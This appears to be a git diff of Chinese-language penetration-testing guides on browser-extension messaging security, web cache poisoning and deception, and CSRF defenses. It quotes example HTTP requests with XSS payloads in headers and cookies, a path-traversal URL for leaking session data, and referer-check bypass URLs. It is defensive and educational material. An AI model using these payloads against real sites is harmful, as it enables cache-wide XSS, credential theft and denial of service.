**内容脚本** 操作的环境与主页面存在的环境是 **分开的**,确保了 **隔离**。尽管存在这种隔离,双方都能够与页面的 **文档对象模型 (DOM)** 进行交互,这是一个共享资源。为了使主页面能够与 **内容脚本** 进行通信,或通过内容脚本间接与扩展进行通信,必须利用双方都可以访问的 **DOM** 作为通信通道。
### 后续消息
### Post Messages
```javascript:content-script.js
// This is like "chrome.runtime.sendMessage" but to maintain the connection
var port = chrome.runtime.connect()
@ -450,15 +450,15 @@ window.postMessage(
false
)
```
安全的 Post Message 通信应检查接收到消息的真实性,这可以通过以下方式进行检查:
安全的 Post Message 通信应检查接收到消息的真实性,这可以通过以下方式进行检查:
- **`event.isTrusted`**:只有当事件是由用户操作触发时,这个值才为 True
- 内容脚本可能只在用户执行某些操作时才期待接收到消息
- **origin domain**:可能只允许白名单中的域名接收消息。
- 内容脚本可能只在用户执行某些操作时才期待消息
- **origin domain**:可能只允许白名单中的域名发送消息。
- 如果使用正则表达式,请非常小心
- **Source**`received_message.source !== window` 可用于检查消息是否来自 **同一窗口**,即内容脚本正在监听的窗口。
即使执行了上述检查,仍可能存在漏洞,因此请查以下页面 **潜在的 Post Message 绕过**
即使执行了上述检查,仍可能存在漏洞,因此请查以下页面 **潜在的 Post Message 绕过**
{{#ref}}
../postmessage-vulnerabilities/
@ -474,15 +474,15 @@ browext-xss-example.md
### DOM
这并不是“确切的”通信方式,但 **网页和内容脚本将可以访问网页 DOM**。因此,如果 **内容脚本** 从中读取某些信息,**信任网页 DOM**,网页可能会 **修改这些数据**(因为网页不应被信任,或者因为网页易受 XSS 攻击)并 **危害内容脚本**
这并不是“确切的”通信方式,但 **网页和内容脚本将可以访问网页 DOM**。因此,如果 **内容脚本** 从中读取某些信息,**信任网页 DOM**,网页可能会 **修改这些数据**(因为网页不应被信任,或者因为网页易受 XSS 攻击)并 **危害内容脚本**
您还可以在以下位置找到 **基于 DOM 的 XSS 以危害浏览器扩展** 的示例:
您还可以在以下位置找到一个 **基于 DOM 的 XSS 攻击以危害浏览器扩展** 的示例:
{{#ref}}
browext-xss-example.md
{{#endref}}
## 内容脚本 **↔︎** 后台脚本通信
## 内容脚本 **↔︎** 背景脚本通信
内容脚本可以使用 [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **或** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 发送 **一次性 JSON 可序列化** 消息。
@ -523,13 +523,13 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
```
在突出显示的示例中,**`sendResponse()`** 是以同步方式执行的。要修改 `onMessage` 事件处理程序以实现 `sendResponse()` 的异步执行,必须加入 `return true;`
一个重要的考虑是,在多个页面设置为接收 `onMessage` 事件的情况下,**第一个执行 `sendResponse()`** 的页面将是唯一能够有效传递响应的页面。对同一事件的任何后续响应将不被考虑。
一个重要的考虑是,在多个页面设置为接收 `onMessage` 事件的情况下,**第一个执行 `sendResponse()` 的页面** 将是唯一能够有效传递响应的页面。对同一事件的任何后续响应将不被考虑。
在创建新扩展时,应该优先使用 promises 而不是回调。关于回调的使用,只有在同步上下文中直接执行 `sendResponse()` 函数,或者事件处理程序通过返回 `true` 表示异步操作时,`sendResponse()` 函数才被视为有效。如果没有任何处理程序返回 `true`,或者 `sendResponse()` 函数从内存中移除(被垃圾回收),则与 `sendMessage()` 函数关联的回调将默认被触发。
## Native Messaging
浏览器扩展还允许通过 **stdin** 与系统中的 **二进制文件** 进行通信。应用程序必须安装一个 json 来指示这一点,格式如下:
浏览器扩展还允许通过 **stdin 与系统中的二进制文件通信**。应用程序必须安装一个 json 来指示这一点,格式如下:
```json
{
"name": "com.my_company.my_application",
@ -539,7 +539,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
`name` 是传递给 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 或 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) 的字符串,用于从浏览器扩展的后台脚本与应用程序进行通信。`path` 是二进制文件的路径,只有 1 种有效的 `type`,即 stdio使用 stdin 和 stdout`allowed_origins` 表示可以访问它的扩展(不能使用通配符)。
`name` 是传递给 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 或 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) 的字符串,用于从浏览器扩展的后台脚本与应用程序进行通信。`path` 是二进制文件的路径,只有 1 种有效的 `type`,即 stdio使用 stdin 和 stdout`allowed_origins` 表示可以访问它的扩展(不能使用通配符)。
Chrome/Chromium 会在某些 Windows 注册表和 macOS 和 Linux 的某些路径中搜索此 json更多信息请参见 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging))。
@ -561,21 +561,21 @@ console.log("Received " + response)
1. 浏览器扩展对内容脚本有一个通配符模式。
2. 内容脚本使用`sendMessage``postMessage`消息传递给后台脚本。
3. 后台脚本使用`sendNativeMessage`将消息传递给本机应用程序。
4. 本机应用程序以危险的方式处理消息,导致代码执行。
4. 本机应用程序危险地处理消息,导致代码执行。
其中解释了**如何从任何页面通过浏览器扩展实现RCE**的示例。
在其中解释了**如何从任何页面利用浏览器扩展进行RCE**的示例。
## 内存/代码/剪贴板中的敏感信息
如果浏览器扩展在**内存中存储敏感信息**,则可能会被**转储**特别是在Windows机器上并**搜索**这些信息。
如果浏览器扩展将**敏感信息存储在其内存中**,则可能会被**转储**特别是在Windows机器上并**搜索**这些信息。
因此,浏览器扩展的内存**不应被视为安全**且**敏感信息**如凭据或助记短语**不应存储**。
因此,浏览器扩展的内存**不应被视为安全**且**敏感信息**如凭据或助记短语**不应存储**。
当然,**不要在代码中放置敏感信息**,因为它将是**公开的**。
要从浏览器转储内存,可以**转储进程内存**,或者进入浏览器扩展的**设置**,点击**`Inspect pop-up`** -> 在**`Memory`**部分 -> **`Take a snapshot`**,然后使用**`CTRL+F`**在快照中搜索敏感信息。
要从浏览器转储内存,可以**转储进程内存**,或者进入浏览器扩展的**设置**,点击**`Inspect pop-up`** -> 在**`Memory`**部分 -> **`Take a snapshot`**,然后使用**`CTRL+F`**在快照中搜索敏感信息。
此外,像助记密钥或密码这样的高度敏感信息**不应允许复制到剪贴板**(或至少在几秒钟内将其从剪贴板中移除),因为这样监控剪贴板的进程将能够获取它们。
此外,像助记密钥或密码这样的高度敏感信息**不应允许复制到剪贴板**(或至少在几秒钟内将其从剪贴板中移除),因为这样监控剪贴板的进程将能够获取它们。
## 在浏览器中加载扩展
@ -583,7 +583,7 @@ console.log("Received " + response)
2. 转到**`chrome://extensions/`**并**启用**`开发者模式`
3. 点击**`加载已解压的扩展`**按钮
在**Firefox**中,转到**`about:debugging#/runtime/this-firefox`**并点击**`加载临时附加组件`**按钮。
在**Firefox**中,转到**`about:debugging#/runtime/this-firefox`**并点击**`加载临时附加组件`**按钮。
## 从商店获取源代码
@ -608,15 +608,15 @@ unzip -d "$extension_id-source" "$extension_id.zip"
另一种方便的方法是使用 Chrome 扩展源查看器,这是一个开源项目。可以从 [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) 安装。查看器的源代码可在其 [GitHub repository](https://github.com/Rob--W/crxviewer) 中找到。
### 查看本地安装扩展的源代码
### 查看本地安装扩展的源代码
本地安装的 Chrome 扩展也可以进行检查。方法如下:
本地安装的 Chrome 扩展也可以检查。方法如下:
1. 通过访问 `chrome://version/` 并找到“Profile Path”字段来访问您的 Chrome 本地配置文件目录。
2. 在配置文件目录中导航到 `Extensions/` 子文件夹。
3. 此文件夹包含所有已安装的扩展,通常其源代码以可读格式存放。
3. 此文件夹包含所有已安装的扩展,通常以可读格式存放其源代码
要识别扩展,您可以将 ID 映射到名称:
要识别扩展,您可以将它们的 ID 映射到名称:
- 在 `about:extensions` 页面上启用开发者模式,以查看每个扩展的 ID。
- 在每个扩展的文件夹中,`manifest.json` 文件包含一个可读的 `name` 字段,帮助您识别扩展。
@ -631,7 +631,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
## Chrome 扩展清单数据集
为了尝试发现易受攻击的浏览器扩展,您可以使用 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) 并检查其清单文件以寻找潜在的易受攻击迹象。例如,检查用户超过 25000 的扩展,`content_scripts` 和权限 `nativeMessaing`
为了尝试发现易受攻击的浏览器扩展,您可以使用 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) 并检查它们的清单文件以寻找潜在的脆弱迹象。例如,检查用户超过 25000 的扩展,`content_scripts` 和权限 `nativeMessaing`
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
@ -644,10 +644,10 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
- [ ] 尽可能**限制****`host_permissions`**
- [ ] 使用**强**的**`content_security_policy`**
- [ ] 尽可能**限制****`externally_connectable`**,如果不需要且可能,请不要默认留空,指定**`{}`**
- [ ] 如果这里提到的**URL易受XSS或接管攻击**,攻击者将能够**直接向后台脚本发送消息**。这是一个非常强大的绕过方式。
- [ ] 尽可能**限制****`web_accessible_resources`**如果可能,甚至留空。
- [ ] 如果这里提到的**URL易受XSS或接管攻击**,攻击者将能够**直接向后台脚本发送消息**。非常强大的绕过方式。
- [ ] 尽可能**限制****`web_accessible_resources`**甚至如果可能的话留空。
- [ ] 如果**`web_accessible_resources`**不为空,请检查[**ClickJacking**](browext-clickjacking.md)
- [ ] 如果**扩展**与**网页**之间发生任何**通信**[**检查XSS**](browext-xss-example.md) **漏洞**
- [ ] 如果有任何**通信**发生在**扩展**与**网页**之间,[**检查XSS**](browext-xss-example.md) **漏洞**
- [ ] 如果使用了Post Messages请检查[**Post Message漏洞**](../postmessage-vulnerabilities/)**.**
- [ ] 如果**内容脚本访问DOM细节**,请检查它们是否在被网页**修改**时**引入XSS**。
- [ ] 如果此通信也涉及**内容脚本 -> 后台脚本通信**,请特别强调。
@ -664,32 +664,32 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- 从提供的Chrome网上应用店链接提取任何Chrome扩展。
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **查看器**:简单地显示扩展清单的JSON美化版本。
- 从提供的Chrome网上应用店链接提取任何Chrome扩展。
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **查看器**:简单地显示扩展的manifest的JSON美化版本。
- **指纹分析**:检测[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)并自动生成Chrome扩展指纹JavaScript。
- **潜在Clickjacking分析**:检测设置了[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)指令的扩展HTML页面。这些页面可能易受Clickjacking攻击,具体取决于页面的目的。
- **潜在Clickjacking分析**:检测设置了[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)指令的扩展HTML页面。这些页面可能会受到Clickjacking的影响,具体取决于页面的目的。
- **权限警告查看器**显示用户尝试安装扩展时将显示的所有Chrome权限提示警告的列表。
- **危险函数**显示可能被攻击者利用的危险函数的位置例如innerHTML、chrome.tabs.executeScript等函数
- **入口点**:显示扩展接收用户/外部输入的位置。这对于理解扩展的表面区域和寻找潜在的恶意数据发送点非常有用。
- **入口点**:显示扩展接收用户/外部输入的位置。这对于理解扩展的表面区域以及寻找潜在的发送恶意数据到扩展的点非常有用。
- 危险函数和入口点扫描器生成的警报具有以下内容:
- 相关代码片段和导致警报的行。
- 问题描述。
- “查看文件”按钮以查看包含代码的完整源文件。
- 警报文件的路径。
- 警报文件的完整Chrome扩展URI。
- 文件类型,例如后台页面脚本、内容脚本、浏览器操作等。
- 如果易受攻击的行在JavaScript文件中则包括它的所有页面的路径以及这些页面的类型和[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources)状态。
- 相关代码片段和导致警报的行。
- 问题描述。
- “查看文件”按钮以查看包含代码的完整源文件。
- 警报文件的路径。
- 警报文件的完整Chrome扩展URI。
- 文件类型,例如后台页面脚本、内容脚本、浏览器操作等。
- 如果易受攻击的行在JavaScript文件中所有包含该行的页面的路径以及这些页面的类型和[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources)状态。
- **内容安全策略CSP分析器和绕过检查器**这将指出扩展CSP中的弱点并将揭示由于白名单CDN等原因绕过CSP的潜在方法。
- **已知漏洞库**:使用[Retire.js](https://retirejs.github.io/retire.js/)检查是否使用了已知漏洞的JavaScript库。
- 下载扩展和格式化版本。
- 下载原始扩展。
- 下载美化版本的扩展自动美化的HTML和JavaScript
- 扫描结果的自动缓存,第一次运行扩展扫描将花费相当的时间。然而,第二次运行时,假设扩展没有更新,将几乎是瞬时的,因为结果被缓存。
- 扫描结果的自动缓存,第一次运行扩展扫描将花费相当的时间。然而,第二次运行时,假设扩展没有更新,将几乎是瞬时的,因为结果被缓存。
- 可链接的报告URL轻松将其他人链接到由Tarnish生成的扩展报告。
### [Neto](https://github.com/elevenpaths/neto)
项目Neto是一个Python 3包旨在分析和揭示知名浏览器如Firefox和Chrome浏览器插件和扩展的隐藏功能。它自动解压打包文件以从扩展的相关资源中提取这些功能`manifest.json`、本地化文件夹或JavaScript和HTML源文件。
项目Neto是一个Python 3包旨在分析和揭示Firefox和Chrome等知名浏览器的浏览器插件和扩展的隐藏功能。它自动解压打包文件以从扩展中的相关资源`manifest.json`、本地化文件夹或JavaScript和HTML源文件)中提取这些功能
## 参考文献

View File

@ -15,13 +15,13 @@
执行缓存中毒攻击涉及几个步骤:
1. **识别未键入的输入**:这些是参数,尽管不是请求被缓存所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
2. **利用未键入的输入**:在识别未键入的输入后,下一步是弄清楚如何滥用这些参数,以一种对攻击者有利的方式修改服务器的响应。
1. **识别无键输入**:这些是参数,尽管不是缓存请求所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
2. **利用无键输入**:在识别无键输入后,下一步是弄清楚如何滥用这些参数,以一种对攻击者有利的方式修改服务器的响应。
3. **确保被污染的响应被缓存**:最后一步是确保被操纵的响应被存储在缓存中。这样,任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。
### 发现检查HTTP头
通常,当响应被**存储在缓存中**时,会有一个**指示的头**,您可以在这篇文章中检查您应该关注哪些头:[**HTTP缓存头**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
通常,当响应被**存储在缓存中**时,会有一个**指示的头**,您可以在此帖子中检查您应该关注哪些头:[**HTTP缓存头**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
### 发现:缓存错误代码
@ -35,26 +35,26 @@ cache-poisoning-to-dos.md
但是,请注意**有时这些状态代码不会被缓存**,因此此测试可能不可靠。
### 发现:识别和评估未键入的输入
### 发现:识别和评估无键输入
您可以使用[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)来**暴力破解可能**改变页面响应的**参数和头**。例如,一个页面可能使用头`X-Forwarded-For`来指示客户端从那里加载脚本:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### 从后端服务器引发有害响应
### 引发后端服务器的有害响应
通过识别的参数/头部检查它是如何被**清理**的,以及它**在哪里**被**反映**或影响响应。你能以任何方式滥用它吗执行XSS或加载你控制的JS代码执行DoS...
在识别出参数/头部后,检查它是如何被**清理**的,以及它**在哪里**被**反映**或影响响应。你能以任何方式滥用它吗(执行 XSS 或加载你控制的 JS 代码?执行 DoS...
### 获取缓存的响应
### 获取响应缓存
一旦你**识别**可以被滥用的**页面**,使用哪个**参数**/**头部**以及**如何**滥用它,你需要让页面被缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
一旦你**识别**可以被滥用的**页面**,使用哪个**参数**/**头部**以及**如何**滥用它,你需要让页面被缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
响应中的头部**`X-Cache`**可能非常有用,因为当请求未被缓存时,它的值可能是**`miss`**,而当它被缓存时,值为**`hit`**。\
头部**`Cache-Control`**也很有趣,可以知道资源是否被缓存,以及下次资源将何时再次被缓存:`Cache-Control: public, max-age=1800`
响应中的头部 **`X-Cache`** 可能非常有用,因为当请求未被缓存时,它的值可能是 **`miss`**,而当它被缓存时,值为 **`hit`**。\
头部 **`Cache-Control`** 也很有趣,可以知道资源是否被缓存,以及下次资源将何时再次被缓存:`Cache-Control: public, max-age=1800`
另一个有趣的头部是**`Vary`**。这个头部通常用于**指示额外的头部**,这些头部被视为**缓存键的一部分**,即使它们通常没有键。因此,如果用户知道他所针对的受害者的`User-Agent`,他可以为使用该特定`User-Agent`的用户毒化缓存。
另一个有趣的头部是 **`Vary`**。这个头部通常用于**指示额外的头部**,这些头部被视为**缓存键的一部分**,即使它们通常没有键。因此,如果用户知道他所针对的受害者的 `User-Agent`,他可以为使用该特定 `User-Agent` 的用户毒化缓存。
与缓存相关的另一个头部是**`Age`**。它定义了对象在代理缓存中存在的时间(以秒为单位)。
与缓存相关的另一个头部是 **`Age`**。它定义了对象在代理缓存中存在的时间(以秒为单位)。
在缓存请求时,要**小心使用的头部**,因为其中一些可能会被**意外使用**为**键**,而**受害者需要使用相同的头部**。始终使用**不同的浏览器测试**缓存中毒是否有效。
@ -62,8 +62,8 @@ cache-poisoning-to-dos.md
### 最简单的示例
`X-Forwarded-For`这样的头部在响应中未经过清理地被反映。\
你可以发送一个基本的XSS有效负载并毒化缓存这样每个访问该页面的人都会受到XSS攻击
`X-Forwarded-For` 这样的头部在响应中未经过清理地被反映。\
你可以发送一个基本的 XSS 负载并毒化缓存,这样每个访问该页面的人都会受到 XSS 攻击:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
@ -71,7 +71,7 @@ X-Forwarded-Host: a."><script>alert(1)</script>"
```
_注意这将使对 `/en?region=uk` 的请求中毒,而不是 `/en`_
### 缓存中毒以进行 DoS
### 缓存中毒导致拒绝服务
{{#ref}}
cache-poisoning-to-dos.md
@ -79,13 +79,13 @@ cache-poisoning-to-dos.md
### 使用网络缓存中毒来利用 cookie 处理漏洞
Cookies 也可能在页面的响应中被反射。如果你能利用它造成 XSS例如你可能能够在加载恶意缓存响应的多个客户端中利用 XSS。
Cookies 也可能在页面的响应中被反射。如果你能利用它导致 XSS例如你可能能够在加载恶意缓存响应的多个客户端中利用 XSS。
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
注意,如果易受攻击的 cookie 被用户频繁使用,常规请求将清除缓存。
注意,如果易受攻击的 cookie 被用户广泛使用,常规请求将清除缓存。
### 使用分隔符、规范化和点生成差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
@ -97,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md
### 通过路径遍历进行缓存中毒以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过类似 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容将被缓存,而 Cloudflare 不会对 URL 进行规范化,这在请求到达 web 服务器时完成。
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过一个 URL 如 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容将被缓存,而 Cloudflare 不会对 URL 进行规范化,这在请求到达 web 服务器时完成。
这在以下内容中也有更好的解释:
@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
### 使用多个头部利用 web 缓存中毒漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
有时您需要 **利用多个未键入的输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发** **HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
有时您需要 **利用多个无键输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将所有 HTTP 请求转发到 HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -136,7 +136,7 @@ report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### 参数伪装
### 参数隐藏
例如,在 ruby 服务器中,可以使用字符 **`;`** 来分隔 **参数**,而不是 **`&`**。这可以用来将无键参数值放入有键参数中并进行滥用。
@ -144,7 +144,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
### 通过滥用 HTTP 请求走私来利用 HTTP 缓存中毒
在这里了解如何通过滥用 [HTTP 请求走私进行缓存中毒攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)。
在这里了解如何通过滥用 [HTTP 请求走私进行缓存中毒攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
### Web 缓存中毒的自动化测试
@ -156,25 +156,25 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS 在 URL 中转发了片段而没有去掉它,并仅使用主机、路径和查询生成缓存键(忽略片段)。因此,请求 `/#/../?r=javascript:alert(1)` 被发送到后端为 `/#/../?r=javascript:alert(1)`,而缓存键中没有负载,有主机、路径和查询。
ATS 在 URL 中转发了片段而没有去掉它,并仅使用主机、路径和查询生成缓存键(忽略片段)。因此,请求 `/#/../?r=javascript:alert(1)` 被发送到后端为 `/#/../?r=javascript:alert(1)`,而缓存键中没有负载,有主机、路径和查询。
### GitHub CP-DoS
content-type 头中发送错误值触发了 405 缓存响应。缓存键包含 cookie因此只能攻击未认证用户。
内容类型头中发送错误值触发了 405 缓存响应。缓存键包含 cookie因此只能攻击未认证用户。
### GitLab + GCP CP-DoS
GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此,可以发送头部 `x-http-method-override: HEAD` 并使缓存返回空响应体。它还可以支持 `PURGE` 方法
GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此,可以发送头部 `x-http-method-override: HEAD` 并使缓存中毒以返回空响应体。它还可以支持方法 `PURGE`
### Rack 中间件 (Ruby on Rails)
在 Ruby on Rails 应用程序中,通常使用 Rack 中间件。Rack 代码的目的是获取 **`x-forwarded-scheme`** 头的值并将其设置为请求的方案。当发送头 `x-forwarded-scheme: http` 时,会发生 301 重定向到相同位置,可能导致该资源的拒绝服务 (DoS)。此外,应用程序可能会识别 `X-forwarded-host` 头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载 JavaScript 文件,构成安全风险。
在 Ruby on Rails 应用程序中,通常使用 Rack 中间件。Rack 代码的目的是获取 **`x-forwarded-scheme`** 头的值并将其设置为请求的方案。当发送头 `x-forwarded-scheme: http` 时,会发生 301 重定向到相同位置,可能导致该资源的拒绝服务 (DoS)。此外,应用程序可能会识别 `X-forwarded-host` 头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载 JavaScript 文件,从而带来安全风险。
### 403 和存储桶
Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3 或 Azure 存储 Blob 会导致 403 响应被缓存。尽管 Cloudflare 已停止缓存 403 响应,但这种行为可能仍然存在于其他代理服务中。
### 注入键参数
### 注入键参数
缓存通常在缓存键中包含特定的 GET 参数。例如Fastly 的 Varnish 在请求中缓存了 `size` 参数。然而,如果发送了 URL 编码版本的参数(例如 `siz%65`)并且值错误,缓存键将使用正确的 `size` 参数构建。然而,后端将处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码导致缓存忽略它,但后端使用了它。将该参数的值设置为 0 会导致可缓存的 400 错误请求。
@ -184,7 +184,7 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
### 非法头字段
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了头名称中可接受的字符。包含超出指定 **tchar** 范围的字符的头理想情况下触发 400 错误请求响应。在实践中,服务器并不总是遵循此标准。一个显著的例子是 Akamai它转发包含无效字符的头并缓存任何 400 错误,只要 `cache-control` 头不存在。发现了一种可利用的模式,发送包含非法字符(如 `\`)的头会导致可缓存的 400 错误请求。
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了头名称中可接受的字符。包含超出指定 **tchar** 范围的字符的头理想情况下触发 400 错误请求响应。在实践中,服务器并不总是遵循此标准。一个显著的例子是 Akamai它转发包含无效字符的头并缓存任何 400 错误,只要 `cache-control` 头不存在。发现了一种可利用的模式,发送包含非法字符(如 `\`)的头会导致可缓存的 400 错误请求。
### 查找新头
@ -206,12 +206,12 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
- _使用不太常见的扩展名如_ `.avif`
另一个非常清晰的例子可以在这篇文章中找到:[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
在这个例子中,解释了如果您加载一个不存在的页面,如 _http://www.example.com/home.php/non-existent.css_,将返回 _http://www.example.com/home.php_ 的内容**包含用户的敏感信息**),并且缓存服务器将保存结果。\
在这个例子中,解释了如果您加载一个不存在的页面,如 _http://www.example.com/home.php/non-existent.css_,将返回 _http://www.example.com/home.php_ **包含用户的敏感信息**的内容,并且缓存服务器将保存结果。\
然后,**攻击者**可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问过的用户的 **机密信息**
请注意,**缓存代理** 应该被 **配置****缓存** 文件 **基于** 文件的 **扩展名**_.css_而不是基于内容类型。在示例 _http://www.example.com/home.php/non-existent.css_ 中,将具有 `text/html` 内容类型,而不是 `text/css` MIME 类型(这是 _.css_ 文件的预期类型)。
在这里了解如何行 [利用 HTTP 请求走私进行缓存欺骗攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)。
在这里了解如何行 [利用 HTTP 请求走私进行缓存欺骗攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)。
## 自动化工具

View File

@ -11,12 +11,12 @@
要利用 CSRF 漏洞,必须满足几个条件:
1. **识别有价值的操作**:攻击者需要找到一个值得利用的操作,例如更改用户的密码、电子邮件或提升权限。
2. **会话管理**:用户的会话应仅通过 cookies 或 HTTP Basic Authentication 头进行管理,因为其他头无法为此目的进行操控
3. **缺乏不可预测的参数**:请求不应包含不可预测的参数,因为它们可能会阻止攻击。
2. **会话管理**:用户的会话应仅通过 cookies 或 HTTP Basic Authentication 头进行管理,因为其他头无法用于此目的
3. **缺乏不可预测的参数**:请求不应包含不可预测的参数,因为它们可能会阻止攻击。
### 快速检查
您可以 **Burp** 中捕获请求并检查 CSRF 保护,您可以从浏览器中点击 **复制为 fetch** 并检查请求:
您可以 **Burp 中捕获请求** 并检查 CSRF 保护,您可以从浏览器中点击 **复制为 fetch** 并检查请求:
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -24,14 +24,14 @@
可以实施几种对策来保护免受 CSRF 攻击:
- [**SameSite cookies**](hacking-with-cookies/#samesite):此属性防止浏览器在跨站请求中发送 cookies。[有关 SameSite cookies 的更多信息](hacking-with-cookies/#samesite)。
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite):此属性防止浏览器在跨站请求中发送 cookies。[有关 SameSite cookies 的更多信息](hacking-with-cookies/index.html#samesite)。
- [**跨源资源共享**](cors-bypass.md):受害者网站的 CORS 策略可能会影响攻击的可行性,特别是当攻击需要读取受害者网站的响应时。[了解 CORS 绕过](cors-bypass.md)。
- **用户验证**:提示用户输入密码或解决验证码可以确认用户的意图。
- **检查引荐或来源头**:验证这些头可以帮助确保请求来自受信任的来源。然而,精心构造的 URL 可以绕过实施不当的检查,例如:
- 使用 `http://mal.net?orig=http://example.com`URL 以受信任的 URL 结尾)
- 使用 `http://example.com.mal.net`URL 以受信任的 URL 开头)
- **修改参数名称**在 POST 或 GET 请求中更改参数名称可以帮助防止自动化攻击。
